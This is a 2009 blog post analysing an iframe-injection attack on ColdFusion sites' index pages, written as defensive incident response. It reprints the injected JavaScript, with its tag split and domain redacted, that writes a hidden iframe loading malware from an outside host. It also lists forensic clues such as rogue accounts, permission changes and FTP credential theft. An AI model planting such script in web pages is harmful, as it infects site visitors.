Iframe Insertion on Index.* Home pages

Posted At : April 16, 2009 4:18 PM | Posted By : Mark Kruger
Related Categories: Hosting and Networking, Security

There's a hack that's beginning to be active that targets pages named "index.*". Actually it sounds rather like an old hack that is resurfacing. Since many ColdFusion sites use this convention for the home page this attack tends to hit quite a few ColdFusion sites that are vulnerable. The attack appends a script like this one to the bottom of each "index.*" page:

```
<sc ript>
var applstrna0 = " ;
var applstrna1 = "rame src=http://***Domain Host Name****";
var applstrna2 = ".com/bb/faq.htm";
var applstrna3 = " width=100 height=0> ;
var applstrna4 = "frame>";
document.write(applstrna0+applstrna1+applstrna2+applstrna3+applstrna4);
</script>
```

Please note that I have not included the actual url of this attack. The domain includes the string "said7". I am only making sure I mention said7 so that folks searching for info on this attack can find this specific post and possibly be helped. I have no wish to benefit the said7 effort and I hope they all get dysentery and spend the weekend in the latrine.

As you can see the script itself is pretty simple. It writes out an invisible Iframe to the bottom of the page. The target of the Iframe attempts to download a trojan or malware to the users machine. This attack is insidious and I have yet to discover the origin. But I do know a few things about it - and how to prevent it from continuing. One important thing to note, if you have this problem and Google indexes your sites and sees these pages they will flag your site. Browsers like Firefox use the Google service to throw up a big "malware" warning.

The following article details the attack and the notes I've gathered about it. Some day soon I hope to post a more definitive who, what, when and why post about it. To gather the following notes I'm indebted to the folks on the CF-Talk List (**this thread**), Nathan, Nick, Jason, Scott, Don and probably a few others I am forgetting. I can't give away too much info here - but please accept my thanks.

The Clues

When we first started this process I scoured the internet for a common virus or malware that was doing the dirty deed. I assumed I would be able to scan the server with something and fix a vulnerability. None of our scanning found anything that was a smoking gun. We had a "find and replace" script (in Perl) that went through all the files and removed the malicious code each day, but it kept coming back and no malware was found on the server. Here are the clues we gathered from our specific problem.

- **Extra Users -** The malware adds extra users to the local SAM (this is a Win2003 server). The users look ominous like SQLADMIN. Some users were added as administrative function users (as in Admin$) - making them difficult to remove.
- **Changing Permissions -** The malware changed permissions on all scripts in the web html directories to give the "everyone" account full control.
- **Reoccurrence -** The process seemed to "run" each day at 8:30 and again at 11:30

(on the server we were working with).
- **FTP Log File Truncation -** Log files seemed to be truncated with no data *before* 2:00 pm.
- **FTP Brute Force -** The FTP log files had evidence of brut force attack attempts.

We also gathered some clues from a few folks who had combated similar attacks - From Don we gathered the following clues from the attack that he combated (which also left scripts embedded on index.* pages):

- A scheduled .bat file creating user accounts.
- Files in Windows/mui that are suspicious.
- .bat and .exe files in Docs and settings and on the desktop of the user account they created.
- .cmd files in website folders.
- log.asp, chen.asp and hongz.asp files were found to be used to change permissions.
- Injected body rule in CSS files.
- An .htm or .html file used as an IIS document footer (ingenious).
- Everyone account had full permissions to all website folders. This was not inherited. Every folder was *explicitly* given permission.
- A network service called WinPCap that does not belong.

Finally, 2 excellent blog post titled **Hidden iframe injection attacks** by Niyaz PK and a **Swiss security blog post** outlines what I think is the most likely origin of this attack as I'll explain. Niyak's take was that the malware does not reside on the server at all. Instead it resides on client computers who connect to the database or (in particular) FTP permissions. In Niyaz' view the malware piggybacks onto FTP clients, steals credentials, and then launches regular attacks that buzz through the folders available to it altering index.* files.

My Take

Now in regards to the attack I was troubleshooting I can see evidence of both of these vectors. We had additional users and file permissions changed and we also had the iframe injection issues. Am I dealing with one attack or two? My belief at this point is that we are dealing with 2 separate complementary attacks (and I'll certainly change my mind if someone gives me more info). The attack related to extra users and file permissions seems to me to be a root kit or a "full control" attack. Past scan logs indicate the possible presence of the graybird trojan at some point (which was removed). This trojan can give full access to a malicious user. So the file permissions and users could have come from a root access type attack.

Ok, so if someone has full access they can change your files too right? Why do I think it is 2 attacks? For one thing, shutting down FTP on the server immediately stopped all further file changes. And there is one more clue. Like a lot of servers this one has a sort of convention for where the html files go. It is *like* (not exactly so don't think I'm giving anything away here).

```
/websitefolders

          /samplesite1.com
```

```
    /samplesite2.com

    /samplesite3.com
```

All of the sites on the server were developed by a company who owned the server. A fairly common practice (although not so secure) is to have a single FTP user with access to *all* of the web site folders. In other words, using my sample above, a user (let's say "webDev") would have the /websitefolders directory as his home directory when using FTP with access to all the folders and files underneath it. What makes me think this is an FTP attack is that it affected all of the sites on the server (perhaps more than 100 sites in all). Given that such a user exists and given that the user has access to all the sites it stands to reason that this user is the culprit.

There is one thing that I can't explain however. If the attack was a client based agent using existing FTP permissions to access files, such activity would look like *legitimate* FTP activity on the server. That means the server would log such activity. But the FTP log files were actually truncated - possibly to remove any signs of the attack. The FTP user did not have permissions to the logs directory. So if I am correct and the attack *is* a client FTP type attack, how did such an attack remain unlogged? That certainly gives my theory of 2 *separate* attacks a black eye. It seems more likely that this is indeed a multi-tiered attack as Don had surmised, and altering the files was just the end game. Still, if your goal is to deface web based files and you already have legitimate FTP credentials, why bother changing file permissions and adding users?

The Fix (So Far)

To summarize, lots of bad things are happening, but disabling FTP on the server put a stop to the file changes. So the first step here (if you are victim of this attack) is to disable FTP and force all FTP users to scan their computers for malware. If you are on a shared host with a control panel interface (where users can add pretty much any password) and lots of websites you are particularly vulnerable to this sort of attack. It's one of the downsides to commodity hosting that you are sometimes at the mercy of the weaknesses of others.

The really bad news is that as long as FTP is necessary there is little that can be done to prevent an attack that steals credentials on a client computer. Sure, you can make sure your servers are scanned and up to date, but how do you monitor every client?

Note of Caution

In closing dear readers, I'm aware that many of you will likely be tempted to pipe in and tell me how bad FTP is and how it should never be used on a production server. Please refrain from doing that. FTP is a regrettable de facto standard in the shared hosting world. Folks victimized by this attack don't need kicking when they are down :) On the other hand, if you have additional clues or thoughts that would help us identify the actual agent or culprit involved by all means share away!

Addendum from Nathan Bruer

Nathan Bruer came up with this additional and fascinating information. He Writes:

>

> I have been running a process monitor program that tracks file changes to see what process/program is actually changing the files, and it was coming from cscript.exe which is the executer to execute *.vbs scripts and other "visual" languages. The executing script was "c:/gm.vbs" but the script did not exist when I went looking for it....
>
> So, my thoughts on it are this is just the part doing the dirty work, and there is an actual executable or service somewhere that is making the file and executing it.
>
> Here is the info my process monitor spit out about the cscript.exe file that was doing the dirty work:

```
Path: "C:\WINDOWS\system32\cscript.exe"

Command Line: "cscript c:\gm.vbs d:\inetpub"

User: "NT AUTHORITY\SYSTEM"

Started: "4/15/2009 8:57:58 PM"

Ended: "4/15/2009 9:01:11 PM"

Architecture: 32-bit
```

> I hope this may help anyone else working on this issue, I believe I am extremely close to solving it and just need it to run once more, because this time I have the process monitor tracking almost everything.

Thanks Nate!